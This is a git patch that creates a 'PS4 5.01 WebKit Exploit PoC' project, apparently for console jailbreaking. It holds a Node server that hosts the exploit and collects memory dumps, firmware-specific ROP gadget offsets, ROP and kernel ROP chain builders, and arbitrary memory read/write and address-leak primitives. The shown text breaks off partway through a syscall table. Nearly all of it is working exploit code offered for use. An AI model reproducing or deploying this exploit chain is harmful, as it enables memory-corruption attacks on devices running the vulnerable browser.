From bf295a89c4f78164275c024710540662e0bce83b Mon Sep 17 00:00:00 2001 From: ALEXZZZ9 Date: Tue, 27 Feb 2018 05:30:46 +0300 Subject: [PATCH] First commit --- .gitignore | 11 ++ LICENSE | 21 --- LICENSE.md | 22 +++ README.md | 26 +++ app.js | 105 ++++++++++++ data/dump.jss | 34 ++++ data/gadgets.js | 63 ++++++++ data/index.html | 302 +++++++++++++++++++++++++++++++++++ data/log.jss | 7 + data/rop.js | 313 ++++++++++++++++++++++++++++++++++++ data/sploitcore.js | 334 +++++++++++++++++++++++++++++++++++++++ data/syscalls.js | 286 +++++++++++++++++++++++++++++++++ data/utils/jquery.min.js | 4 + data/utils/utils.js | 164 +++++++++++++++++++ data/utils/utils.log.js | 37 +++++ package.json | 25 +++ screenshot.png | Bin 0 -> 228169 bytes 17 files changed, 1733 insertions(+), 21 deletions(-) create mode 100644 .gitignore delete mode 100644 LICENSE create mode 100644 LICENSE.md create mode 100644 README.md create mode 100644 app.js create mode 100644 data/dump.jss create mode 100644 data/gadgets.js create mode 100644 data/index.html create mode 100644 data/log.jss create mode 100644 data/rop.js create mode 100644 data/sploitcore.js create mode 100644 data/syscalls.js create mode 100644 data/utils/jquery.min.js create mode 100644 data/utils/utils.js create mode 100644 data/utils/utils.log.js create mode 100644 package.json create mode 100644 screenshot.png diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..31167f5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +.DS_Store +*.swp +*.swo +.env +.idea +.vscode + +node_modules +npm-debug.* + +start.bat diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 41eb81d..0000000 --- a/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2018 Alex - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..d962fd6 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,22 @@ +PS4 5.01 WebKit Exploit PoC is licensed under the MIT License +--- +>A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code. + +| Permissions | Conditions | Limitations | +| ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | +| [•](# "This software and derivatives may be used for commercial purposes.") Commercial use | [•](# "Include a copy of the license and copyright notice with the software.") License and copyright notice | [•](# "This license includes a limitation of liability.") Liability | +| [•](# "This software may be modified.") Modification | | [•](# "The license explicitly states that it does NOT provide any warranty.") Warranty | +| [•](# "You may distribute this software.") Distribution | | | +| [•](# "You may use and modify the software without distributing it.") Private use | | | + +License +--- +>The MIT License (MIT) +> +>Copyright (c) 2018 ALEXZZZ9 +> +>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: +> +>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. +> +>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..99cfe67 --- /dev/null +++ b/README.md @@ -0,0 +1,26 @@ +PS4 5.01 WebKit Exploit PoC +=========================== +Based on: + - [CVE-2017-7005](https://bugs.chromium.org/p/project-zero/issues/detail?id=1208) + - [PegaSwitch](https://github.com/reswitched/pegaswitch) ([Copyright 2017 ReSwitched Team](https://github.com/reswitched/pegaswitch/blob/master/LICENSE.md)) + - 4.0x exploit by [qwertyoruiopz](https://twitter.com/qwertyoruiopz) + + +> This exploit supports 5.01 (maybe others)! + +Installation +============ + +1. Install the latest version of node from [nodejs.org](https://nodejs.org) +2. Clone this repository +3. Run `npm install` + +Usage +===== + +1. Run `npm start` + +License +======= + +MIT License. See attached `LICENSE.md` file. diff --git a/app.js b/app.js new file mode 100644 index 0000000..1d60c61 --- /dev/null +++ b/app.js @@ -0,0 +1,105 @@ +const fs = require('fs'); +const mkdirp = require('mkdirp'); +const express = require('express'); +const logger = require('morgan'); +const bodyParser = require('body-parser'); +const serveIndex = require('serve-index'); +const serveStatic = require('serve-static'); +const contentDisposition = require('content-disposition'); +const path = require('path'); +const freshUp = require('fresh-up'); + +const app = express(); + +const port = 80; +const hourMs = 0; // 1000 * 60 * 60; + +const ExcludeErrorsID = [404]; + +const root = path.join(__dirname/*process.cwd()*/, 'data'); +const wwwRoot = root; // path.join(root, 'www'); +const jssRoot = root; // path.join(root, 'www'); +const jssExt = '.jss'; +const sendJssErrors = true; + + +/** Middlewares */ +//app.use(logger('dev')); +app.use(bodyParser.urlencoded({ extended: true })); + +/** Query */ +app.use((req, res, next) => { + req.q = (req.method === 'GET') ? req.query : req.body; + next(); +}); + +/** JSS server */ +app.use((req, res, next) => { + let filePath; + + const potentialIndexFile = path.resolve(jssRoot, `.${req.path}`, `./index${jssExt}`); + + if (req.path.endsWith(jssExt)) { + filePath = path.resolve(jssRoot, `.${req.path}`); + } else if (fs.existsSync(potentialIndexFile)) { + filePath = potentialIndexFile; + } else { + return next(); + } + + + if (!fs.existsSync(filePath)) { + return next(NewError(`Not Found URL: ${req.url}`, 404)); + } + + try { + require(filePath)(req, res); // eslint-disable-line import/no-dynamic-require + } catch (e) { + freshUp(require.resolve(filePath)); + + if (sendJssErrors) { + return res.status(500).send(`
${e.stack}
`); + } else { + return next(NewError('Server error', 500)); + } + } + + freshUp(require.resolve(filePath)); + + return undefined; +}); + +/** Static server */ +app.use(serveIndex(wwwRoot, {'icons': true})) +app.use(serveStatic(wwwRoot, { maxAge: hourMs, 'index': false })); + +/** Errors */ +app.use((req, res, next) => { + return ReturnFormatError(res, NewError(`Not Found URL: ${req.url}`, 404)); +}); +app.use((err, req, res, next) => { + return ReturnFormatError(res, err); +}); + +/** Listen */ +app.listen(port, () => { + console.log('Server listening on port ' + port); +}); + +/** Helpers */ +function NewError (message, code = 500, data = null) { + let err = new Error(message); + err.code = code; + if (data !== null) err.data = data; + return err; +}; + +function ReturnFormatError(res, error) { + if (!ExcludeErrorsID.includes(error.code)) console.error(error.message); + if (!error.code || error.code === 500) return res.status(500).json({status: 500, error: 'Server error'}); + + let jError = {status: error.code, error: error.message}; + if (error.data) jError['data'] = error.data; + + return res.status(error.code).json(jError); +}; diff --git a/data/dump.jss b/data/dump.jss new file mode 100644 index 0000000..d7b6872 --- /dev/null +++ b/data/dump.jss @@ -0,0 +1,34 @@ +const path = require('path'); +const fs = require('fs'); +const mkdirp = require('mkdirp'); + +module.exports = function(req, res) { + let writeContinue = req.get('Write-Continue') === 'true'; + let fileName = req.get('Content-Disposition') || 'dump.bin'; + let filePath = __dirname + '/dumps/' + fileName; + let dir = path.dirname(filePath); + + console.log(`Dumping to ${filePath}`); + + try { + fs.statSync(dir); + } catch (e) { + mkdirp.sync(dir); + } + + if (!writeContinue && fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + } + + req.pipe(fs.createWriteStream(filePath, { + defaultEncoding: 'binary', + flags: 'a' + })); + + req.on('end', function() { + console.log(`Dump done`); + return res.sendStatus(200); + }); +} + + diff --git a/data/gadgets.js b/data/gadgets.js new file mode 100644 index 0000000..71a6f36 --- /dev/null +++ b/data/gadgets.js @@ -0,0 +1,63 @@ +/* For storing the gadget and import map */ +window.gadgetMap = []; +window.basicImportMap = []; + +/* Simply adds given offset to given module's base address */ +function getGadget(moduleName, offset) { + return add2(window.ECore.moduleBaseAddresses[moduleName], offset); +} + +/* All function stubs / imports from other modules */ +var generateBasicImportMap = function() { + window.basicImportMap = { + '5.01': { + 'setjmp': getGadget('libSceWebKit2', 0x14F8), // setjmp imported from libkernel + '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x384BA40), // pointer to pointer to stack_chk_fail imported from libkernel -> look at epilogs to find this + "sceKernelLoadStartModule": getGadget('libkernel', 0x31470), // dump libkernel using the stack_chk_fail pointer to find base, then look for _sceKernelLoadStartModule + } + }; +} + +/* All gadgets from the binary of available modules */ +var generateGadgetMap = function() { + window.gadgetMap = { + '5.01': { + 'pop rsi': getGadget('libSceWebKit2', 0x0008f38a), // 0x000000000008f38a : pop rsi ; ret // 5ec3 + 'pop rdi': getGadget('libSceWebKit2', 0x00038dba), // pop rdi ; ret + 'pop rax': getGadget('libSceWebKit2', 0x000043f5), // pop rax ; ret + 'pop rcx': getGadget('libSceWebKit2', 0x00052e59), // pop rcx ; ret + 'pop rdx': getGadget('libSceWebKit2', 0x000dedc2), // pop rdx ; ret + 'pop r8': getGadget('libSceWebKit2', 0x000179c5), // pop r8 ; ret + 'pop r9': getGadget('libSceWebKit2', 0x00bb30cf), // pop r9 ; ret + 'pop rsp': getGadget('libSceWebKit2', 0x0001e687), // pop rsp ; ret + 'push rax': getGadget('libSceWebKit2', 0x0017778e), // push rax ; ret ; + 'mov rax, rdi': getGadget('libSceWebKit2', 0x000058d0), // mov rax, rdi ; ret + 'mov rax, rdx': getGadget('libSceWebKit2', 0x001cee60), // 0x00000000001cee60 : mov rax, rdx ; ret // 4889d0c3 + 'add rax, rcx': getGadget('libSceWebKit2', 0x00015172), // add rax, rcx ; ret + 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x0014536b), // mov qword ptr [rdi], rax ; ret + 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x00023ac2), // mov qword ptr [rdi], rsi ; ret + 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0x0006c83a), // mov rax, qword ptr [rax] ; ret + 'ret': getGadget('libSceWebKit2', 0x0000003c), // ret ; + 'nop': getGadget('libSceWebKit2', 0x00002f8f), // 0x0000000000002f8f : nop ; ret // 90c3 + + 'syscall': getGadget('libSceWebKit2', 0x2264DBC), // syscall ; ret + + 'jmp rax': getGadget('libSceWebKit2', 0x00000082), // jmp rax ; + 'jmp r8': getGadget('libSceWebKit2', 0x00201860), // jmp r8 ; + 'jmp r9': getGadget('libSceWebKit2', 0x001ce976), // jmp r9 ; + 'jmp r11': getGadget('libSceWebKit2', 0x0017e73a), // jmp r11 ; + 'jmp r15': getGadget('libSceWebKit2', 0x002f9f6d), // jmp r15 ; + 'jmp rbp': getGadget('libSceWebKit2', 0x001fb8bd), // jmp rbp ; + 'jmp rbx': getGadget('libSceWebKit2', 0x00039bd2), // jmp rbx ; + 'jmp rcx': getGadget('libSceWebKit2', 0x0000dee3), // jmp rcx ; + 'jmp rdi': getGadget('libSceWebKit2', 0x000b479c), // jmp rdi ; + 'jmp rdx': getGadget('libSceWebKit2', 0x0000e3d0), // jmp rdx ; + 'jmp rsi': getGadget('libSceWebKit2', 0x0002e004), // jmp rsi ; + 'jmp rsp': getGadget('libSceWebKit2', 0x0029e6ad), // jmp rsp ; + + // 0x013d1a00 : mov rdi, qword ptr [rdi] ; mov rax, qword ptr [rdi] ; mov rax, qword ptr [rax] ; jmp rax // 488b3f488b07488b00ffe0 + // 0x00d65230: mov rdi, qword [rdi+0x18] ; mov rax, qword [rdi] ; mov rax, qword [rax+0x58] ; jmp rax ; // 48 8B 7F 18 48 8B 07 48 8B 40 58 FF E0 + 'jmp addr': getGadget('libSceWebKit2', 0x00d65230), + } + }; +} \ No newline at end of file diff --git a/data/index.html b/data/index.html new file mode 100644 index 0000000..26e6b7d --- /dev/null +++ b/data/index.html @@ -0,0 +1,302 @@ + + + + + + + + + + + + + +
+ By ALEXZZZ9
+ Based on:
+ CVE-2017-7005
+ PegaSwitch (Copyright 2017 ReSwitched Team)
+ 4.0x exploit by qwertyoruiopz
+
+ This exploit supports 5.01(maybe others) +
+ + + + + + + + \ No newline at end of file diff --git a/data/log.jss b/data/log.jss new file mode 100644 index 0000000..a842583 --- /dev/null +++ b/data/log.jss @@ -0,0 +1,7 @@ + +module.exports = function(req, res) { + + console.log(`${req.q.msg}`); + + res.sendStatus(200); +} diff --git a/data/rop.js b/data/rop.js new file mode 100644 index 0000000..f6bf6d0 --- /dev/null +++ b/data/rop.js @@ -0,0 +1,313 @@ +var memory = function(p, address) { + this.basePtr = address + this.dataPtr = 0; + + /* Return a pointer in mmap'd memory */ + this.allocate = function(size) { + /* Prevent buffer overflow / pagefault */ + if (this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000) { + return -1; + } + + var memAddr = add2(this.basePtr, this.dataPtr); + + this.dataPtr += size; + + return memAddr; + }; + + /* Clears all data by zeroing out this.data and resetting count */ + this.clear = function() { + for (var i = 0; i < 0x10000; i += 8) { + p.write8(0, add2(this.basePtr, i)); + } + }; + + /* Zero out our data buffer before returning a storage object */ + this.clear(); + + return this; +}; + +/* Called to start a kernel ROP chain */ +var krop = function(p, addr) { + this.chainPtr = addr; + this.count = 0; + + this.push = function(val) { + p.write8(val, add2(this.chainPtr, this.count * 8)); + this.count++; + }; + + this.write64 = function(addr, val) { + this.pushGadget('pop rdi'); + this.push(addr); + this.pushGadget('pop rax'); + this.push(val); + this.pushGadget('mov qword ptr [rdi], rax'); + } + + return this; +}; + +/* Called to start a new ROP chain */ +var saferop = function(p, addr) { + this.ropChain = undefined; + this.ropChainPtr = undefined; + this.ropChainEndPtr = undefined; + + if (addr == undefined) { + this.ropChain = new Uint32Array(0x4000); + this.ropChainPtr = p.read8(add2(p.getAddr(this.ropChain), 0x28)); + this.ropChainEndPtr = add2(this.ropChainPtr, 0x4000 * 4); + } else { + this.ropChainPtr = addr; + this.ropChainEndPtr = add2(this.ropChainPtr, 0x4000 * 4); + } + + this.count = 0; + + /* Clears the chain */ + this.clear = function() { + this.count = 0; + this.runtime = undefined; + + for (var i = 0; i < 0x4000 - 0x8; i += 8) { + p.write8(0, add2(this.ropChainPtr, i)); + } + }; + + /* Gets the current chain index and increments it */ + this.getChainIndex = function() { + this.count++; + return this.count - 1; + } + + /* Pushes a gadget or value on the stack */ + this.push = function(val) { + p.write8(val, add2(this.ropChainPtr, this.getChainIndex() * 8)); + } + + this.pushGadget = function(val) { + var gadget = window.gadgets[val]; + + if (gadget === undefined) throw new Error('Gadget not found'); + this.push(gadget); + }; + + /* Writes a 64-bit value to given location */ + this.push64 = function(where, what) { + this.pushGadget('pop rdi'); + this.push(where); + this.pushGadget('pop rsi'); + this.push(what); + this.pushGadget('mov qword ptr [rdi], rsi'); + } + + /* Sets up a function call into a module by address */ + this.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.pushGadget('pop rdi'); + this.push(rdi); + } + + if (rsi != undefined) { + this.pushGadget('pop rsi'); + this.push(rsi); + } + + if (rdx != undefined) { + this.pushGadget('pop rdx'); + this.push(rdx); + } + + if (rcx != undefined) { + this.pushGadget('pop rcx'); + this.push(rcx); + } + + if (r8 != undefined) { + this.pushGadget('pop r8'); + this.push(r8); + } + + if (r9 != undefined) { + this.pushGadget('pop r9'); + this.push(r9); + } + + this.push(rip); + return this; + } + + /* Sets up a return value location*/ + this.saveReturnValue = function(where) { + this.pushGadget('pop rdi'); + this.push(where); + this.pushGadget('mov qword ptr [rdi], rax'); + } + + /* Loads the ROP chain and initializes it */ + this.run = function() { + var retv = p.loadChain(this); + this.clear(); + + return retv; + } + + return this; +}; + +/* Called to start a new ROP chain */ +var rop = function(p, addr) { + this.ropChainSize = 0x4000; + this.ropChain = undefined; + this.ropChainBasePtr = undefined; + this.ropChainPtr = undefined; + this.ropChainEndPtr = undefined; + + + if (addr == undefined) { + this.ropChain = new Uint32Array((this.ropChainSize / 4) * 2); + this.ropChainBasePtr = add2(p.getArrayBufferAddr(this.ropChain), this.ropChainSize); + this.ropChainPtr = add2(this.ropChainBasePtr, 8); + this.ropChainEndPtr = add2(this.ropChainBasePtr, this.ropChainSize); + } else { + this.ropChainBasePtr = add2(addr, 0); + this.ropChainPtr = add2(addr, 8); + this.ropChainEndPtr = add2(addr, this.ropChainSize); + } + + this.count = 0; + + /* Clears the chain */ + this.clear = function() { + this.count = 0; + this.runtime = undefined; + + for (var i = 0; i < this.ropChainSize - 8; i += 8) { + p.write8(0, add2(this.ropChainBasePtr, i)); + } + }; + + /* Gets the current chain index and increments it */ + this.getChainIndex = function() { + this.count++; + return this.count - 1; + }; + + /* Pushes a gadget or value on the stack */ + this.push = function(val) { + // debug_log(`Push in ROP: ${paddr(val)}`); + p.write8(val, add2(this.ropChainPtr, this.getChainIndex() * 8)); + }; + + this.pushGadget = function(val) { + var gadget = window.gadgets[val]; + + if (gadget === undefined) throw new Error('Gadget not found'); + this.push(gadget); + }; + + /* Writes a 64-bit value to given location */ + this.push64 = function(where, what) { + this.pushGadget('pop rdi'); + this.push(where); + this.pushGadget('pop rsi'); + this.push(what); + this.pushGadget('mov qword ptr [rdi], rsi'); + }; + + this.syscall = function(num, rdi, rsi, rdx, rcx, r8, r9) { + if (num != undefined) { + this.pushGadget('pop rax'); + this.push(num); + } + + if (rdi != undefined) { + this.pushGadget('pop rdi'); + this.push(rdi); + } + + if (rsi != undefined) { + this.pushGadget('pop rsi'); + this.push(rsi); + } + + if (rdx != undefined) { + this.pushGadget('pop rdx'); + this.push(rdx); + } + + if (rcx != undefined) { + this.pushGadget('pop rcx'); + this.push(rcx); + } + + if (r8 != undefined) { + this.pushGadget('pop r8'); + this.push(r8); + } + + if (r9 != undefined) { + this.pushGadget('pop r9'); + this.push(r9); + } + + this.pushGadget('syscall'); + + return this; + }; + + /* Sets up a function call into a module by address */ + this.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.pushGadget('pop rdi'); + this.push(rdi); + } + + if (rsi != undefined) { + this.pushGadget('pop rsi'); + this.push(rsi); + } + + if (rdx != undefined) { + this.pushGadget('pop rdx'); + this.push(rdx); + } + + if (rcx != undefined) { + this.pushGadget('pop rcx'); + this.push(rcx); + } + + if (r8 != undefined) { + this.pushGadget('pop r8'); + this.push(r8); + } + + if (r9 != undefined) { + this.pushGadget('pop r9'); + this.push(r9); + } + + this.push(rip); + return this; + }; + + /* Sets up a return value location*/ + this.saveReturnValue = function(where) { + this.pushGadget('pop rdi'); + this.push(where); + this.pushGadget('mov qword ptr [rdi], rax'); + }; + + /* Loads the ROP chain and initializes it */ + this.run = function() { + var retv = p.loadChain2(this); + this.clear(); + return retv; + }; + + return this; +}; \ No newline at end of file diff --git a/data/sploitcore.js b/data/sploitcore.js new file mode 100644 index 0000000..fb5259d --- /dev/null +++ b/data/sploitcore.js @@ -0,0 +1,334 @@ +/** + Represents an instance of SploitCore + @constructor + @param {object} exploitMe - Reference to object used for leaking data + */ +var SploitCore = function SploitCore(exploitMe) { + this.gc(); + + this.va = exploitMe.va; + this.vb = exploitMe.vb; + this.leakee = exploitMe.leakee; + this.leakaddr = exploitMe.leakaddr; + + this.allocated = {}; + + // this.func = document.getElementById; + this.func = parseFloat; + this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9 + + this.moduleBaseAddresses = []; + + this.sc = this; + window.ECore = this; + + this.base = this.getBase(); + this.loadGadgets(); + + + debug_log(`leakFunc at: ${paddr(this.moduleBaseAddresses['leakFunc'])}`); + debug_log(`${this.func.name || 'parseFloat'} at: ${paddr(this.moduleBaseAddresses['funcPointer'])}`); + debug_log(`libSceWebKit2 at: ${paddr(this.base)}`); + debug_log(`libkernel at: ${paddr(this.moduleBaseAddresses['libkernel'])}`); + + + this.funcArgs = []; + this.funcBuffer = new Uint32Array(0x1000); + this.argsPointer = this.getArrayBufferAddr(this.funcBuffer); + + for (var i = 0; i < 0x7FFF; i++) { this.funcArgs[i] = 0x41410000 | i; } + + this.funcBuffer[0] = 0x13371337; + + if (this.read4(this.argsPointer) != 0x13371337) { + throw new Error("Stack frame is not aligned!"); + } + + debug_alert('~~~~~~~~~~Success~~~~~~~~~~'); +}; + + +SploitCore.prototype.loadGadgets = function loadGadgets(version) { + window.syscalls = window.syscallMap[version || '5.01']; + + generateBasicImportMap(); + window.basicImports = window.basicImportMap[version || '5.01']; + + generateGadgetMap(); + window.gadgets = window.gadgetMap[version || '5.01']; +}; + +/** + Returns address of function + @returns {u64} Address of function + */ +SploitCore.prototype.getFuncAddr = function getFuncAddr(offset) { + this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9 + + var tlfuncaddr = this.getAddr(this.func); + + return this.read8(tlfuncaddr, offset || 6); +}; + +SploitCore.prototype.leakFunction = function leakFunction(smashFunction, offset) { + var tlfuncaddr = this.getAddr(smashFunction); + + return this.read8(tlfuncaddr, offset || 6); +}; + + +/** + Reads 4 bytes from address + @param {u64} addr - Address to read value from + @param {number} [offset=0] - Offset to add to addr before read + @returns {number} + */ +SploitCore.prototype.read4 = function read4(addr, offset) { + if (arguments.length === 1) { + offset = 0; + } + + if (this.origVa === undefined) { + this.origVa = [this.va[4], this.va[5], this.va[6]] + } + + assertu64(addr); + + this.va[4] = addr[0]; + this.va[5] = addr[1]; + this.va[6] = 1 + offset; + + var val = this.vb[offset]; + + this.va[4] = this.origVa[0]; + this.va[5] = this.origVa[1]; + this.va[6] = this.origVa[2]; + + return val; +}; + +/** + Writes 4 bytes to address + @param {number} val - Value to write + @param {u64} addr - Address to write value to + @param {number} [offset=0] - Offset to add to addr before write + */ +SploitCore.prototype.write4 = function write4(val, addr, offset) { + if (arguments.length === 2) { + offset = 0; + } + + if (this.origVa === undefined) { + this.origVa = [this.va[4], this.va[5], this.va[6]] + } + + this.va[4] = addr[0]; + this.va[5] = addr[1]; + this.va[6] = 1 + offset; + + this.vb[offset] = val; + + this.va[4] = this.origVa[0]; + this.va[5] = this.origVa[1]; + this.va[6] = this.origVa[2]; +}; + +/** + Reads 8 bytes from address + @param {u64} addr - Address to read value from + @param {number} [offset=0] - Offset to add to addr before read + @returns {number} + */ +SploitCore.prototype.read8 = function read8(addr, offset) { + if (arguments.length === 1) { + offset = 0; + } + return [this.read4(addr, offset), this.read4(addr, offset + 1)]; +}; + +/** + Writes 8 bytes to address + @param {number} val - Value to write + @param {u64} addr - Address to write value to + @param {number} [offset=0] - Offset to add to addr before write + */ +SploitCore.prototype.write8 = function write8(val, addr, offset) { + if (arguments.length === 2) { + offset = 0; + } + val = pad64(val); + this.write4(val[0], addr, offset); + this.write4(val[1], addr, offset + 1); +}; + + +/** + Calls callback with an ArrayBuffer pointing to the view of memory requested.
+ If you return a value from within the callback it will be returned by {@link SploitCore#memview}
+ Warning: If you keep that view or any object using it around; you will tank the GC and your Switch will crash. + @param {u64} addr - Base address for view + @param {number} size - Number of bytes to view + @param {function} func - Function which is called with ArrayBuffer. + @returns {any} Value returned by func + */ +SploitCore.prototype.memview = function memview(addr, size, func) { + var ab = new ArrayBuffer(0); + var taddr = this.read8(this.getAddr(ab), 4); + + var origPtr = this.read8(taddr, 6); + var origSize = this.read4(taddr, 8); + this.write8(addr, taddr, 6); + this.write4(size, taddr, 8); + + var ret = func.apply(this, [ab]); + + this.write8(origPtr, taddr, 6); + this.write4(origSize, taddr, 8); + + return ret; +}; + +/** + Returns address of object + @param {object} obj - Object to get address of + @returns {u64} Address of object + */ +SploitCore.prototype.getAddr = function getAddr(obj) { + this.leakee['b'] = { 'a': obj }; + return this.read8(this.read8(this.leakaddr, 4), 4); +}; + +SploitCore.prototype.getArrayBufferAddr = function(ab) { + var offset = 0; + if (ArrayBuffer.isView(ab)) { + offset = ab.byteOffset; + ab = ab.buffer; + } + if (!(ab instanceof ArrayBuffer)) { + throw new Error('expected ArrayBuffer or view'); + } + return add2(this.read8(this.read8(this.getAddr(ab), 4), 6), offset); +}; + +/** + Returns base address + @private + @returns {u64} + */ +SploitCore.prototype.getBase = function() { + var leakFunc = this.getFuncAddr(); + var funcPointer = this.read8(leakFunc, 16); + + var webkitBase = add2(funcPointer, 0); // copy + webkitBase[0] &= ~0xFFF; + webkitBase = sub2(webkitBase, 0x578000); + + var libkernel = this.read8(add2(webkitBase, 0x384BA40)); // pointer to pointer to stack_chk_fail -> look at epilogs to find this + libkernel[0] &= ~0xFFF; + libkernel = sub2(libkernel, 0x11000); + + + this.moduleBaseAddresses['leakFunc'] = leakFunc; + this.moduleBaseAddresses['funcPointer'] = funcPointer; + this.moduleBaseAddresses['libSceWebKit2'] = webkitBase; + this.moduleBaseAddresses['libkernel'] = libkernel; + + return webkitBase; +}; + +/** + Allocates a region of memory to use + @param {number} bytes - Size of region + @returns {u64} Address of region + */ +SploitCore.prototype.malloc = function(bytes) { + var obj = new ArrayBuffer(bytes); + var addr = this.getArrayBufferAddr(obj); + this.allocated[addr] = obj; + return addr; +}; + +SploitCore.prototype.free = function(addr) { + delete this.allocated[addr]; +}; + +/** + Initiate a memory dump over HTTP + @param {u64} address - Memory address to start from + @param {number} size - Number of bytes you wish to dump + @param {string} fileName - Name of file, used to set Content-Disposition + */ +SploitCore.prototype.memDump = function memDump(address, size, fileName, writeContinue) { + if (ArrayBuffer.isView(address) || address instanceof ArrayBuffer) { + address = this.getArrayBufferAddr(address); + } + var totalSize = trunc32(size); + var idx = 0; + + debug_log('Dumping memory!'); + for (var idx = 0; idx < totalSize; idx += 0x800000) { + size = totalSize - idx; + size = size > 0x800000 ? 0x800000 : size; + + this.memview(add2(address, idx), size, function(ab) { + var view = new Uint8Array(ab); + var xhr = new XMLHttpRequest(); + xhr.open('POST', 'dump.jss', false); + xhr.setRequestHeader('Content-Type', 'application/octet-stream'); + xhr.setRequestHeader('Content-Disposition', fileName || "dump.bin"); + if (writeContinue !== false) xhr.setRequestHeader('Write-Continue', "true"); + xhr.send(view); + }); + } + debug_log('Dumped memory succesfully!'); +}; + +/** + Forces the garbage collector to run + */ +SploitCore.prototype.gc = function() { + debug_log('Beginning GC force'); + + function sub(depth) { + // debug_log('GC force ' + depth); + if (depth > 0) { + var arr = []; + // debug_log('Building...'); + for (var i = 0; i < 10; ++i) { + // arr.push(new Uint8Array(0x40000)); + arr.push(new Uint8Array(0x10000)); + } + // debug_log('Shifting...'); + while (arr.length > 0) { + arr.shift(); + } + sub(depth - 1); + } + } + sub(10); + debug_log('GC should be solid'); +}; + +/** + Reads a string from memory + @param {u64} addr - Address to start from + @param {number} length - Number of bytes to read + @returns {string} + */ +SploitCore.prototype.readString = function(addr, length) { + if (arguments.length === 1) { + length = -1; + } + + return this.memview(addr, 0xFFFFFFFF, function(view) { + var u8b = new Uint8Array(view); + var out = ''; + + for (var i = 0; length === -1 && u8b[i] !== 0 || length !== -1 && i < length; i++) { + out += String.fromCharCode(u8b[i]); + } + + return out; + }); +}; + diff --git a/data/syscalls.js b/data/syscalls.js new file mode 100644 index 0000000..8fa35ff --- /dev/null +++ b/data/syscalls.js @@ -0,0 +1,286 @@ +/* Holds system call wrapper offsets for user's specific firmware */ +window.syscalls = []; +window.memcalls = []; + +/* These are the offsets in libkernel for system call wrappers */ +window.syscallMap = { + '5.01': { + + } +} + +/* A long ass map of system call names -> number, you shouldn't need to touch this */ +window.syscallnames = { + "sys_exit": 1, + "sys_fork": 2, + "sys_read": 3, + "sys_write": 4, + "sys_open": 5, + "sys_close": 6, + "sys_wait4": 7, + "sys_unlink": 10, + "sys_chdir": 12, + "sys_chmod": 15, + "sys_getpid": 20, + "sys_setuid": 23, + "sys_getuid": 24, + "sys_geteuid": 25, + "sys_recvmsg": 27, + "sys_sendmsg": 28, + "sys_recvfrom": 29, + "sys_accept": 30, + "sys_getpeername": 31, + "sys_getsockname": 32, + "sys_access": 33, + "sys_chflags": 34, + "sys_fchflags": 35, + "sys_sync": 36, + "sys_kill": 37, + "sys_stat": 38, + "sys_getppid": 39, + "sys_dup": 41, + "sys_pipe": 42, + "sys_getegid": 43, + "sys_profil": 44, + "sys_getgid": 47, + "sys_getlogin": 49, + "sys_setlogin": 50, + "sys_sigaltstack": 53, + "sys_ioctl": 54, + "sys_reboot": 55, + "sys_revoke": 56, + "sys_execve": 59, + "sys_execve": 59, + "sys_msync": 65, + "sys_munmap": 73, + "sys_mprotect": 74, + "sys_madvise": 75, + "sys_mincore": 78, + "sys_getgroups": 79, + "sys_setgroups": 80, + "sys_setitimer": 83, + "sys_getitimer": 86, + "sys_getdtablesize": 89, + "sys_dup2": 90, + "sys_fcntl": 92, + "sys_select": 93, + "sys_fsync": 95, + "sys_setpriority": 96, + "sys_socket": 97, + "sys_connect": 98, + "sys_getpriority": 100, + "sys_send": 101, + "sys_recv": 